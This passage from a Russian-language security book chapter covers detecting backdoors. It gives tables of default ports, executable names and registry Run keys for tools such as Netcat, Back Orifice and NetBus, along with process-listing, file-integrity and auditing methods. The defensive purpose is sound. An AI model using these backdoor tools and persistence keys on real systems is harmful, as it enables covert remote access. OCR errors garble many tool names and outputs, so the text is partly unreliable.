    Какой бы метод обнаружения прослушиваемых портов не использовался, его результат будет довольно трудно интерпретировать, если вы не знаете, что именно нужно найти. В табл. 14.1 приведен перечень наиболее красноречивых признаков наличия программного обеспечения удаленного управления.

    Если на каком-либо узле обнаружено прослушивание приведенных в таблице портов, то это верный признак того, что он подвергся нападению либо по злому умыслу хакера либо из-за неосторожности самого администратора. Следует проявлять бдительность также и по отношению к другим портам, которые на первый взгляд кажутся обычными. Во многих из перечисленных средств можно изменять номер прослушиваемого порта (см. таблицу). Чтобы убедиться, что доступ к этим портам из Internet ограничен, нужно использовать устройства обеспечения безопасности на границе сети.

    Удаление подозрительных процессов

    Еще одна возможность выявления "потайного хода" заключается в проверке списка процессов на наличие в нем таких исполняемых файлов, как nc, WinVNC. exe и т.д. Для этого в системе NT можно использовать утилиту pulist из набора NTRK, которая выводит все запущенные процессы, или sclist, показывающую работающие службы.

    Таблица 14.1. Номера портов, используемые программами и удаленного управления при создании "потайных ходов"

    "Потайной ход"

    Порт TCP, используемый по умолчанию

    Порт UDP, используемый по умолчанию

    Возможность использования альтернативных портов

    Remote.exe

    135-139

    135-139

    Нет

    Netcat

    Любой

    Любой

    Да

    Loki

    Не используется

    Не используется

    Не используется

    Реверсивный telnet-сеанс

    Любой

    Не используется

    Да

    Back Orifice

    Не используется

    31337

    Да

    Back Orifice 2000

    54320

    54321

    Да

    NetBus

    12345

    Не используется

    Да

    Masters Paradise

    40421,40422,40426

    Не используется

    Да

    pcAnywhere

    22,5631,5632,65301

    22, 5632

    Нет

    ReachOut

    43188

    Нет

    Нет

    Remotely Anywhere

    2000, 2001

    Нет

    Да

    Remotely

    799, 800

    800

    Да

    Possible/ControllT

    Timbuktu

    407

    407

    Нет

    VNC

    5800, 5801

    Нет

    Да

    Windows Terminal Server

    3389

    3389

    Нет

    NetMeeting Remote Desktop Control

    49608, 49609

    49608, 49609

    Нет

    Citrix ICA

    1494

    1494

    Нет

    <


    Команды pulist и sclist просты в использовании. Их удобно применять в файлах сценариев для автоматизации процесса тестирования как на локальной системе, так и в сети. В качестве примера приведем список процессов, выводимый программой pulist.

    С:\nt\ew>pulist

    Process PID User

    Idle 0

    System 2

    smss.exe 24 NT AUTHORITYXSYSTEM

    CSRSS.EXE 32 NT AUTHORITYXSYSTEM

    WINLOGON.EXE 38 NT AUTHORITYXSYSTEM

    SERVICES.EXE 46 NT AUTHORITYXSYSTEM

    LSASS.EXE 49 NT AUTHORITYXSYSTEM

    CMD.EXE 295 TOGA\administrator

    nfrbof.exe , 265 TOGA\administrator

    UEDIT32.EXE 313 TOGA\administrator

    NTVDM.EXE 267 TOGA\administrator

    PULIST.EXE 309 TOGA\administrator

    C:XntXew>

    В следующем примере с помощью утилиты sclist был получен список работающих на удаленном узле служб.

    C:\nt\ew>sclist \\172.29.11.191

    ---------------

    - Service list for \\172.29.11.191

    ---------------

    running Alerter Alerter

    running Browser Computer Browser

    stopped ClipSrv ClipBook Server

    running DHCP DHCP Client

    running EventLog EventLog

    running LanraanServer Server

    running LanmanWorkstation Workstation

    running LicenseService License Logging Service

    stopped Schedule Schedule

    running Spooler Spooler

    stopped TapiSrv Telephony Service

    topped UPS UPS

    В системе UNIX для аналогичных целей можно использовать команду ps. В каждой версии UNIX имеются свои особенности использования этой команды. В Linux она выглядит как ps -aux, а в Solaris — ps -ef. Эти команды могут и должны быть применены при создании сценариев, служащих для получения отчета об изменениях в списке активных процессов. В число других замечательных инструментов системы UNIX, позволяющих получить соответствие между службами и запущенными процессами, входят программы Isof , которую можно применять в большинстве версий, и sockstat для FreeBSD. Вот пример результатов работы этих утилит.

    [crush] lsof -i

    COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

    syslogd 111 root 4u IPv4 Oxc5818fOO OtO UDP *:syslog

    dhcpd 183 root 7u IPv4 Oxc5818e40 OtO UDP *:bootps



    dhcpd 183 root lOu IPv4 Oxc5bc2fOO OtO ICMP *:*

    sshd 195 root 3u IPv4 Oxc58d9d80 OtO TCP *:ssh (LISTEN)

    sshd 1062 root 4u IPv4 OxcSSdaSCO OtO TCP crush:ssh-

    >192. 168.1.101:2420 (ESTABLISHED)

    Xaccel 1165 root 3u IPv4 Oxc58dad80 OtO TCP *:6000 (LISTEN)

    gnome-ses 1166 root 3u IPv4 Oxc58dab60 OtO TCP *:1043 (LISTEN)

    panel 1201 root 5u IPv4 Oxc58da940 OtO TCP *:1046 (LISTEN)

    gnome-nam 1213 root 4u IPv4 Oxc58da2eO OtO TCP *:1048 (LISTEN)

    genj.itil_ 1220 root 4u IPv4 Oxc58dbd80 OtO TCP *:1051(LISTEN)

    sshd " 1245 root 4u IPv4 Oxc58da720 OtOTCP crush:ssh-

    >192.163.I.101:2642 (ESTABLISHED)

    [crush] sockstat

    USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS

    root sshd 1245 4 tcp4 10.1.1.1.22 192.168.1.101.2642

    root genjjtil 1220 4 tcp4 *.1051 *.*

    root gnome-na 1213 4 tcp4 *.1048 *.*

    root panel 1201 5 tcp4 *.1046 *.*

    root gnome-se 1166 3 tcp4 *.1043 *.*

    root Xaccel 1165 3 tcp4 *.6000 *.*

    root sshd 1062 4 tcp4 10.1.1.1.22 192.168.1.101.2420

    root sshd 195 3 tcp4 *.22 *.*

    root dhcpd 183 7 udp4 *.67 *.+

    root syslogd 111 4 udp4 *.514 *.*

    Конечно же, поскольку большинство из рассмотренных выше программ может быть переименовано, без инвентаризации системы и приложений как при их начальной установке, так и при последующих обновлениях, "потайной ход" будет трудно обнаружить (нам кажется, что об этом говорилось уже достаточно).

    Отслеживание изменений файловой системы

    Для перегруженных работой администраторов сама мысль о регулярном обновлении полного списка файлов и каталогов может показаться безумной, поскольку это требует намного больших затрат, чем все предыдущие рекомендации. В то же время, если состояние системы изменяется не очень часто, такой учет является самым надежным методом выявления следов злоумышленников.

    В системе Novell для отслеживания изменений в размерах файлов, времени последнего обращения и других атрибутов можно воспользоваться командой ndir. В системе UNIX можно написать сценарий, содержащий команду Is -la, который будет записывать имя каждого файла и его размер. В Windows при использовании команды dir выводится время последнего изменения, время последнего обращения к файлу, а также ею размер. Для ведения каталога файлов без изменения времени доступа к ним можно порекомендовать утилиты a find, hfind и sfind компании NTObjectives. Помимо прочих достоинств, эти программы позволяют идентифицировать скрытые файлы, а также выявлять потоки данных внутри файлов. Для аудита файлов в системах NT/2000 можно использовать также встроенные возможности файловой системы NTFS. Просто щелкните правой кнопкой мыши на нужном файле или каталоге, выберите команду Security, щелкните на кнопке Auditing, и установите требуемые параметры для каждого пользователя или группы.



    В Windows 2000 появилась подсистема защиты файлов (WFP — Windows File Protection), обеспечивающая защиту системных файлов от перезаписи (к ним относится около 640 файлов из каталога %systemroot%). Интересный побочный эффект этого нововведения состоит в том, что хэш-коды SHA-1 этих важных файлов содержатся в файле каталога %systemroot%\system32\dllcache\nt5.cat. Поэтому, сравнивая эталонные хэш-коды с хэш-кодами текущих системных файлов, можно проверить их целостность. Такую проверку можно выполнить с использованием средства верификации сигнатуры файлов (File Signature Verification, sigverif.exe). Для этого щелкните на кнопке Advanced, перейдите во вкладку Logging и установите режим Append То Existing Log File, чтобы новые результаты можно было сравнивать с полученными ранее. Однако нужно иметь в виду, что в режиме. WFP сигнатура, скорее всего, не связывается с каждым отдельным файлом. Как отметил в мае 2000 года Рус Купер (Russ Cooper), подсистема защиты WFP не замечает копирования одного из "помеченных" файлов поверх другого (например, незамеченным останется копирование notepad.exe поверх wscript.exe). В процессе тестирования поверх файла wscript.exe мы скопировали файл, не являющийся системным, и утилита sigverif все равно подтвердила его целостность! Поэтому лучше пока не полагаться на эти новые средства, пока не будут разгаданы причины такого странного поведения.

    Среди средств сторонних производителей можно упомянуть программу проверки целостности файлов MDSsum. Она входит в состав пакета Textutils, который распространяется в рамках общей лицензии GNU.  Версию, скомпилированную для системы Windows, можно найти по адресу http://sourceware.cygnus.com/cygwin/. Утилита MDSsum на основе распространенного алгоритма MD5, разработанного Роном Ривестом (Ron Rivest) из лаборатории компьютерных наук Массачусетского технологического института, позволяет вычислить или проверить профильное сообщение (message digest) файла длиной 128 бит. Описание программы приведено в документе RFC 1321. В следующем примере показано, как программа MDSsum генерирует контрольную сумму файла test, txt, а затем выполняет ее проверку.



    D:\Toolbox>md5sum d:\test.txt>d:\test.md5

    D:\Toolbox>cat d:\test.md5

    efd3907b04b037774d831596f2clbl4a d:\Xtest.txt

    D:\Toolbox>md5sum --check d:\test.md5

    d:\Xtest.txt: OK

    К сожалению, программа MDSsum одновременно обрабатывает только один файл (конечно, написав сценарий, это можно исправить). В число более эффективных средств выявления вторжений в файловую систему входит старая программа Tripwire, которую можно найти по адресу http://www.tripwire.com.

    Следует упомянуть и несколько других важных утилит, предназначенных для проверки содержимого двоичных файлов. К ним относится известная программа strings, которая работает как в системе UNIX, так и в Windows, BinText Робина Кайра (Robin Keir) для Windowsи UltraEdit32 для Windows .

    И наконец, при инвентаризации файловой системы очевидным шагом является поиск легко узнаваемых исполняемых файлов, обеспечивающих "потайной ход", а также используемых ими библиотек. Поскольку большинство из этих инструментов может быть переименовано, такая процедура обычно не приносит пользы, но устранение очевидных изъянов — это уже половина успеха в битве за обеспечение безопасности сети. В табл. 14.2 приведен список наиболее важных файлов, при обнаружении которых нужно принимать меры, описанные в этой главе.

    Таблица 1 4.2. Используемые пo умолчанию имена исполняемых файлов утилит удаленногоуправления

    "Потайной ход"

    Имя файла(ов)

    Возможность переименовать

    remote (NT)

    remote . ехе

    Есть

    netcat (UNIX и NT)

    пс И пс . ехе

    Есть

    rinetd

    rinetd, rinetd.exe

    Есть

    Утилиты туннелирования пакетов 1СМР и UDP

    loki И lokid

    Есть

    Back Orifice

    [пробел] .ехе, boserve.exe, boconfig.exe

    Есть

    Back Orifice 2000

    bo2k.exe, bo2kcfg.exe, bo2kgui.exe, UMGR32 . EXE, bo_peep. dll, bo3des . dll

    Есть

    NetBus

    patch . exe, NBSvr . exe, KeyHook . dll

    Есть

    Virtual Network Computing for Windows (WinVNC)

    WinVNC . EXE, VNCHooks . DLL, И OMNITHKEAD_RT.DLL

    Нет

    Linux Rootkit (LRK)

    Irk

    Есть

    NT/2000 Rootkit

    deploy . exe и _root_ . sys

    Нет в сборке 0.31 а

    <


    Загрузочный файл и параметры системного реестра

    Взломщикам было бы неинтересно создавать "потайной ход", если бы после обычной перезагрузки системы или после удаления администратором какой-нибудь необходимой службы, они не имели бы возможности возобновить соединение. Это можно обеспечить, поместив в основных конфигурационных файлах или в системном реестре ссылки на средства создания "потайного хода". Фактически для функционирования многих из упомянутых программ требуется наличие в системном реестре определенных параметров, что значительно облегчает их идентификацию и удаление.

    Программа Back Orifice добавляет запись в поддерево системного реестра HKEY_LOCAL_MACHINE\Software\ Microsoft\Windows\CurrentVersion\RunServices\. При установке по умолчанию в системном реестре параметру (Default) присваивается значение " .ехе" ([пробел] .ехе), являющееся принятым по умолчанию именем исполняемого файла сервера ВО, помещенного в каталог C:\windows\system. При установке пакета ВО2К исполняемый файл переименовывается в UMGR32 .ЕХЕ и в системе Win 9x копируется в каталог С: \windows\system. а в NT/2000 — в каталог С: \winnt\system32. Конечно же, взломщик может изменить эти параметры по своему усмотрению. Если какие-либо параметры системного реестра ссылаются на файл размером около 124,928 байт, то существует вероятность, что это файл ВО. Файл ВО2К имеет размер 114,688 байт. 

    Последняя версия программы NetBus добавляет несколько параметров в поддерево HKEY_LOCAL_MACHlNE\SOFTWARE\Net Solutions\NetBus Server, однако самый важ-ный ключ создается в HKEY_LOCAL_MACHlNE\Software\ Microsoft\Windows\CurrentVersionXRun. Он ссылается на исполняемый файл сервера (в более ранних версиях по умолчанию этот файл называется SysEdit, но взломщик может его изменить).

    Пакет WinVNC создает ключ HKEY_USERS\ .DEFAULT\Software\ORL\winVNC3.

    В системе UNIX опасные демоны нужно искать в различных файлах rс, а также в файле /etc/inetd.conf.

    Аудит, проверка учетных записей и ведение журналов регистрации



    Это последняя по порядку, но не по степени важности, контрмера, поскольку невозможно идентифицировать вторжение, если не активизированы средства оповещения. Убедитесь, что подключены встроенные возможности аудита. Например, в NT политику аудита можно настроить с помощью диспетчера пользователей, а в 2000 — с использованием аплета Security Policy. To же самое можно осуществить с помощью утилиты auditpol из набора NTRK. Файловая система NTFS позволяет отслеживать доступ на уровне отдельных файлов. Для этого в окне проводника Windows щелкните правой кнопкой мыши на требуемой папке или на файле, выберите команду Properties, перейдите во вкладку Security, щелкните на кнопке Auditing и настройте нужные параметры.

    Известно, что в системе NT4 ведение полного аудита приводит к снижению производительности, поэтому многие не пользовались этой возможностью. Однако тестирование Windows 2000 показало, что в этой операционной системе в режиме аудита потребление ресурсов значительно снижено и замедление ее работы неощутимо даже при использовании всех предоставляемых возможностей.

    Конечно, если журнал регистрации не просматривается регулярно, если его содержимое удаляется из-за недостатка свободного пространства на диске или из-за плохой организации, то даже самый полный аудит окажется бесполезным. Однажды мы посетили Web-узел, который был предупрежден об атаке еще за два месяца до ее реализации. И это случилось только благодаря тому, что некоторые системные администраторы старательно вели журналы регистрации. Чтобы не потерять такую важную информацию, разработайте политику регулярного архивирования журналов регистрации. Многие компании регулярно импортируют их в базы данных, чтобы облегчить процесс поиска и автоматизировать систему оповещения об опасности.

    Кроме того, внимательно следите за необъяснимыми изменениями учетных записей. Здесь могут пригодиться программы сторонних производителей, позволяющие получить "мгновенный снимок" системы. Например, программы DumpSec (ее предыдущая версия называется DumpACL), DumpReg и DumtEvt компании Somarsoft (http://www.-somarsoft.com) предоставляют практически всю нужную информацию о системах NT/2000. Запуск этих утилит выполняется из командной строки. 


    Содержание раздела